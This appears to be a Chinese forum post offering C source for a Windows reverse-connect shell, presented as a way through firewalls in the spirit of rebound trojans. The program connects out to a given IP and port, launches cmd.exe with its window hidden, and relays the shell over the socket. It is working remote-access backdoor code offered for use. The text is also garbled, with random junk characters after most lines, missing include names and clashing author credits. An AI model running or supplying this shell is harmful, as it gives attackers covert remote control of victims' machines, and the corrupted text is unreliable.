这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 E3wL n/<
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/* ============================== _2hLc\#
Rebound port in Windows NT 8aP/vToa
By wind,2006/7 "/i$_vl
===============================*/ :Tg+)c Z
#include cA
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#include 0^-1d2Z~
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#pragma comment(lib,"wsock32.lib") 3Hom0g,V4
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void OutputShell(); =L" 0]4K
SOCKET sClient; :V)jm`)#+
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; cu0IFNF}[
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void main(int argc,char **argv) P6 OnE18n
{ JF 4A
WSADATA stWsaData; -Qn7+?P
int nRet; ]19VEH
SOCKADDR_IN stSaiClient,stSaiServer; *n? 1C"l
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if(argc != 3) &oS$<
{ Y7VO:o
printf("Useage:\n\rRebound DestIP DestPort\n"); YzI;)
return; D%YgS$p[M$
} '3( ^Zv
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WSAStartup(MAKEWORD(2,2),&stWsaData); }#O!GG{
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5:h[%3'bB
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stSaiClient.sin_family = AF_INET; ZYwcB]xEz
stSaiClient.sin_port = htons(0); WD[eoi
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); my.EvN
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \WCQ>c?~
{ v~P,OP("c
printf("Bind Socket Failed!\n"); o|(5Sr&H
return; NXY jb(4:
} I#M3cI!X?
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stSaiServer.sin_family = AF_INET; RP&bb{Y
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); l]R0r{{
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); yLX $SR
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1PkCWRpR
{ @^W`Yg)C
printf("Connect Error!"); 18>cfDh;N
return; '-;[8:y.
} e<L@QNX
OutputShell(); Ma[EgG
} {3tzr ;c?
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void OutputShell() /~[Lr
{ $<^t][{
char szBuff[1024]; Dm>"c;2
SECURITY_ATTRIBUTES stSecurityAttributes; IU%|K~_n
OSVERSIONINFO stOsversionInfo; NI >%v
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4>hHUz[_
STARTUPINFO stStartupInfo; aLJm%uW6m&
char *szShell; y/lF1{}5
PROCESS_INFORMATION stProcessInformation; *gbK
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unsigned long lBytesRead; \c=I!<9
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $cCC
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); T #\
stSecurityAttributes.lpSecurityDescriptor = 0; "ZuuSi
stSecurityAttributes.bInheritHandle = TRUE; &XP(D5lf`B
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); J-F".6i5
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); G 6sK3K
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); T~TP
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yB*,)x0
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stStartupInfo.wShowWindow = SW_HIDE; \hB BG8=&
stStartupInfo.hStdInput = hReadPipe; <uH8Fivb
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; rl*O-S/
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GetVersionEx(&stOsversionInfo); VM"cpC_8
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switch(stOsversionInfo.dwPlatformId) [VCC+_
{ yPm2??5MW>
case 1:
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szShell = "command.com"; _FLEz|%~
break; vJkc/7
default: XpQ Ol
szShell = "cmd.exe"; U2oCSo5:3N
break; Ykbg5Z
} u2V-V#jS
}I"C4'(a
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); I5$P9UE+^9
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send(sClient,szMsg,77,0); qS!r<'F3dP
while(1) )?L=o0
{ `2~>$Tr
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .J"N}
if(lBytesRead) :$ 5A3i
{ gg;r;3u
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); E h%61/
send(sClient,szBuff,lBytesRead,0); iHK~?qd}
} ^[L(kHOGzk
else )xGAe#E~j
{ [M_{~1xX
lBytesRead=recv(sClient,szBuff,1024,0); 30Q
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if(lBytesRead<=0) break; :QCL9QZ'
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); TOYK'|lwM
} z3fv}_\z
} INZVe(z
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return; 6K $mW
}